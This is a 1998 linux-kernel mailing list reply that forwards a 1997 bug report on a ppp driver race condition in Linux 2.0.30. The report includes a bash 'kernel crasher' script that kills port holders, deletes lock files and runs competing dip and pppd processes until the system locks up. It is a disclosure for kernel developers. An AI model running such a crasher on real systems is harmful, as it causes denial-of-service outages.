Messages in this thread | | | Date | Tue, 10 Mar 1998 17:36:46 +0100 (MET) | Subject | Re: Sporadious hang on 2.0.3[0,1,2,3,4pre2] | From | (Anonymous) |
| |
please@dont.spam.me wrote:
> Daniel Ryde wrote: > >We have many servers here running 2.0.3x kernels. Most of these don't have > >any problems at all, it is very seldom these hangs, even those under heavy > >load. Exept all the terminal servers. > > > >The difference between these is: > > They mostly run ppp, sometimes slip > > They use many serial ports > > They do "slow" forwarding > > They handle alot of interrups > > There was (is?) a race condition in some versions of the ppp driver, whereby > two pppds could both open the same port. What would happen is that one > process would close the port and set the speed to zero while another process > was writing data into it. This would put the kernel into a dead loop. > > I thought this bug had long ago been fixed, but it seems it hasn't...
The bug was in 2.0.30. Below is a message describing it:
----- Forwarded Message -----
Date: Sun Jun 01 21:26:47 1997 To: linux-kernel@vger.rutgers.edu From: ghio@temp0091.myriad.ml.org (Matthew Ghio) Subject: pppd crashes Linux 2.0.30 kernel
A bug exists in Linux 2.0.30, and likely other versions, which can result in a kernel crash when more than one pppd process attempt to access the same serial port. If dip or pppd is setuid root, this opens the possibility of a denial-of-service attack. The bug has been observed when running automated dialing scripts and two processes attempt to use the same modem at the same time.
Specifically, the bug occurs when a pppd process is running on a serial port and another process resets the port, setting the port speed to zero. This has no immediately apparent effect, but sending a kill signal to the pppd process will result in a system crash. Usually lock files in /var/lock will prevent this situation, however the locking mechanism can fail when the same serial port has different names (such as /dev/modem being linked to /dev/ttyS1).
The following script demonstrates the bug by running two pppd processes then launching and terminating dip. This resulted in a complete lockup on my system (no oops or kernel panic) as soon as the last line was executed.
#!/bin/bash
# Linux ppp-bug kernel crasher script
fuser /dev/ttyS1|awk -F: '{print $2}'|xargs kill rm /var/lock/LCK..ttyS1& sleep 2
(echo "port ttyS1";\ echo "reset";\ echo "wait 1";\ echo "";\ sleep 15;\ )|/usr/sbin/dip -tv &
sleep 4 rm /var/lock/LCK..ttyS1& sleep 4 pppd silent debug modem crtscts ttyS1 38400 sleep 4 killall -INT dip sleep 15 rm /var/lock/LCK..ttyS1& sleep 1 (echo "port ttyS1";\ echo "send \r";\ echo "wait 1";\ echo "";\ sleep 15;\ )|/usr/sbin/dip -tv &
sleep 4 rm /var/lock/LCK..ttyS1& sleep 4 pppd silent debug modem crtscts ttyS1 38400 killall -INT dip
sleep 10 killall pppd sleep 1 killall pppd
# * BOOM * #
- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.rutgers.edu
| |